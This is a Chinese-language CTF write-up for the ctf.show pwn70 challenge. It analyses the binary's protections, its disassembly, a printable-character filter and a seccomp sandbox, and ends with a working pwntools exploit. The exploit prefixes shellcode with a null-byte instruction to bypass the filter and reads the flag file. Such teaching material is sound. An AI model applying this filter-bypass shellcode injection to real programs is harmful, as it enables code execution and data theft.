yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn70

pwn70

ctf.show pwn70

目录


题目

预计时间

2h

题目分析及截图

我们首先checksec看看一下程序的保护机制

1
2
3
4
5
6
7
8
9
10
11
yyh@yyh:~/pwn70$ checksec ./pwn
[*] '/home/yyh/pwn70/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

可以看到程序只开启了canary

我们打开Ida看一下程序的反编译出来的代码

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
.text:0000000000400A68 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400A68
.text:0000000000400A68 var_80 = qword ptr -80h
.text:0000000000400A68 var_74 = dword ptr -74h
.text:0000000000400A68 s = byte ptr -70h
.text:0000000000400A68 var_8 = qword ptr -8
.text:0000000000400A68
.text:0000000000400A68 ; __unwind {
.text:0000000000400A68 push rbp
.text:0000000000400A69 mov rbp, rsp
.text:0000000000400A6C add rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000400A70 mov [rbp+var_74], edi
.text:0000000000400A73 mov [rbp+var_80], rsi
.text:0000000000400A77 mov rax, fs:28h
.text:0000000000400A80 mov [rbp+var_8], rax
.text:0000000000400A84 xor eax, eax
.text:0000000000400A86 mov eax, 0
.text:0000000000400A8B call init
.text:0000000000400A90 mov eax, 0
.text:0000000000400A95 call set_secommp
.text:0000000000400A9A lea rax, [rbp+s]
.text:0000000000400A9E mov esi, 68h ; 'h' ; n
.text:0000000000400AA3 mov rdi, rax ; s
.text:0000000000400AA6 call _bzero
.text:0000000000400AAB mov eax, 0
.text:0000000000400AB0 call logo
.text:0000000000400AB5 lea rdi, aWelcomeTellMeY ; "Welcome,tell me your name:"
.text:0000000000400ABC call _puts
.text:0000000000400AC1 lea rax, [rbp+s]
.text:0000000000400AC5 mov edx, 64h ; 'd' ; nbytes
.text:0000000000400ACA mov rsi, rax ; buf
.text:0000000000400ACD mov edi, 0 ; fd
.text:0000000000400AD2 mov eax, 0
.text:0000000000400AD7 call _read
.text:0000000000400ADC sub eax, 1
.text:0000000000400ADF cdqe
.text:0000000000400AE1 mov [rbp+rax+s], 0
.text:0000000000400AE6 lea rax, [rbp+s]
.text:0000000000400AEA mov rdi, rax
.text:0000000000400AED call is_printable
.text:0000000000400AF2 test eax, eax
.text:0000000000400AF4 jz short loc_400AFE
.text:0000000000400AF6 lea rax, [rbp+s]
.text:0000000000400AFA call rax
.text:0000000000400AFC jmp short loc_400B0A

我解释一下这个汇编代码

  1. 1
    2
    3
    .text:0000000000400A68                 push    rbp
    .text:0000000000400A69 mov rbp, rsp
    .text:0000000000400A6C add rsp, 0FFFFFFFFFFFFFF80h

    分配一个70h的栈帧

  2. 1
    2
    mov [rbp+var_74], edi   ; argc
    mov [rbp+var_80], rsi ; argv

    保存参数

  3. 1
    2
    mov rax, fs:28h
    mov [rbp+var_8], rax

    保存canary

  4. 1
    2
    call init
    call set_secommp

    调用 init 和 seccomp函数。

    seccomp是沙箱的标志,我们一会要使用seccomp-tools工具来看哪些系统调用可执行

  5. 1
    2
    3
    4
    lea rax, [rbp+s]
    mov esi, 0x68 ; 104 字节
    mov rdi, rax
    call _bzero

    清零0x68字节

  6. 1
    2
    call logo
    puts("Welcome,tell me your name:")

    打印logo,输出欢迎语

  7. 1
    2
    3
    4
    5
    lea rax, [rbp+s]
    mov edx, 0x64 ; nbytes = 100
    mov rsi, rax ; buf
    mov edi, 0 ; fd = stdin
    call read

    调用read函数,从stdin中最多读取0x64字节,read的返回值在eax中

  8. 1
    2
    3
    sub eax, 1
    cdqe
    mov [rbp+rax+s], 0

    将最后一个字节改成\x00,即c字符串结尾

  9. 1
    2
    3
    4
    5
    lea rax, [rbp+s]
    mov rdi, rax
    call is_printable
    test eax, eax
    jz short loc_400AFE

    检查是否全是printable字符

is_printable 函数

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall is_printable(const char *a1)
{
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; i < strlen(a1); ++i )
{
if ( a1[i] <= 31 || a1[i] == 127 )
return 0LL;
}
return 1LL;
}

先获取字符串长度,循环遍历每一个字符

由于在汇编中看见了沙箱函数,所以这时,我们需要使用seccomp-tools dump ./pwn命令去看一下程序的可执行系统调用

1
2
3
4
5
6
7
8
9
10
11
yyh@yyh:~/pwn70$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

除了execve都可以进行系统调用,那我们及就可以使用ORW或者直接cat

在之前,我们也写过一个这样的题目,都是对shellcode中的每一位字符进行限制,但是在当时我们是使用/x00来绕过的,但是,/x00的含义在不同位置并不同

  • 在is_printable函数中,我们输入的相当于是c语言中/x00的意思,也就是字符串结束符的意思
  • 在发送payload时就是汇编语言中的意思,但是/x00是不能单独出现的,需要构成一条完整的汇编命令,在这里我们可以使用程序中有的指令/x00/xc0,当然你也可以直接自己构造

其实到这里很简单了,我们直接写入shellcode就好了(需要加/x00进行绕过),因为这道题不涉及覆盖返回地址,我们不需要去管金丝雀值

exp如下(cat写法)

1
2
3
4
5
6
7
8
9
from pwn import *

context.arch = "amd64"
p = remote('pwn.challenge.ctf.show', 28110)

shellcode = asm(shellcraft.cat('flag'))
payload = b'\x00\xc0'+shellcode
p.sendline(payload)
p.interactive()
  • 因为flag在文件/flag里,所以这里我们就使用cat,当然也可以使用ORW
  • \x00\xc0是ADD AL,AL的意思,是程序中出现的代码